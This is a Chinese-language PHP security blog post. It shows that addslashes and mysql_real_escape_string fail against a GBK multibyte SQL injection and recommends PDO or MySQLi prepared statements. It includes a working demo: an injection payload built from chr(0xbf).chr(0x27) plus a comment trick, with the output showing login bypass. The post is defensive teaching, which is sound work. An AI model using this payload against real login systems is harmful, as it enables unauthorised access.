PHP防SQL注入不要再用addslashes和mysql_real_escape_string了,有需要的朋友可以參考下。
博主熱衷各種互聯網技術,常啰嗦,時常伴有強迫症,常更新,覺得文章對你有幫助的可以關注我。 轉載請注明"深藍的鐮刀"
看了很多PHP網站在防SQL注入上還在使用addslashes和str_replace,百度一下"PHP防注入"也同樣在使用他們,實踐發現就連mysql_real_escape_string也有黑客可以繞過的辦法,如果你的系統仍在用上面三個方法,那么我的這篇博文就有了意義,以提醒所有后來者繞過這個坑。
出於為后人栽樹而不是挖坑的考慮,給出PHP以及MYSQL的版本信息,以免將來“問題”不再是“問題”了。
用str_replace以及各種php字符替換函數來防注入已經不用我說了,這種“黑名單”式的防御已經被證明是經不起時間考驗的。
下面給出繞過addslasher和mysql_real_escape_string的方法(Trick)。
注意:雖然在MYSQL5.5.37-log下該Trick已經被修復了,但仍然沒有確切地解決注入問題,介於很多公司的系統仍在使用Mysql5.0,我建議立馬做出改進,這點也是我《也說說幾種讓程序員快速提高能力的方法
》中提到的一個十分重要的點。
注意:如果你不確定你的系統是否有SQL注入的風險,請將下面的下面的DEMO部署到你的服務器,如果運行結果相同,那么請參考最后的完美的解決方案。
MYSQL:
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-ny | +---------------------+ 1 row in set (0.00 sec) mysql> create database test default charset GBK; Query OK, 1 row affected (0.00 sec) mysql> use test; Database changed mysql> CREATE TABLE users ( username VARCHAR(32) CHARACTER SET GBK, password VARCHAR(32) CHARACTER SET GBK, PRIMARY KEY (username) ); Query OK, 0 rows affected (0.02 sec) mysql> insert into users SET username='ewrfg', password='wer44'; Query OK, 1 row affected (0.01 sec) mysql> insert into users SET username='ewrfg2', password='wer443'; Query OK, 1 row affected (0.01 sec) mysql> insert into users SET username='ewrfg4', password='wer4434'; Query OK, 1 row affected (0.01 sec)=
PHP:
<?php echo "PHP version: ".PHP_VERSION."\n"; mysql_connect('servername','username','password'); mysql_select_db("test"); mysql_query("SET NAMES GBK"); $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*'; $_POST['password'] = 'guess'; $username = addslashes($_POST['username']); $password = addslashes($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); mysql_set_charset("GBK"); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding());
結果:
PHP version: 5.2.5 int(3) string(6) "latin1" int(3) string(6) "latin1" int(0) string(3) "gbk"
可以看出來不論是使用addslashes還是mysql_real_escape_string,我都可以利用編碼的漏洞來實現輸入任意密碼就能登錄服務器的注入攻擊!!!!(攻擊的原理我就不多說了,感興趣的同學可以研究下字符編碼中單字節和多字節的問題)
注意:第三個mysql_real_escape_string之所以能夠防注入是因為mysql_escape_string本身並沒辦法判斷當前的編碼,必須同時指定服務端的編碼和客戶端的編碼,加上就能防編碼問題的注入了。雖然是可以一定程度上防止SQL注入,但還是建議以下的完美解決方案。
完美解決方案就是使用擁有Prepared Statement機制的PDO和MYSQLi來代替mysql_query(注:mysql_query自 PHP 5.5.0 起已廢棄,並在將來會被移除):
PDO:
$pdo = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass'); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name'); $stmt->execute(array('name' => $name)); foreach ($stmt as $row) { // do something with $row }
MYSQLi:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); $stmt->bind_param('s', $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // do something with $row }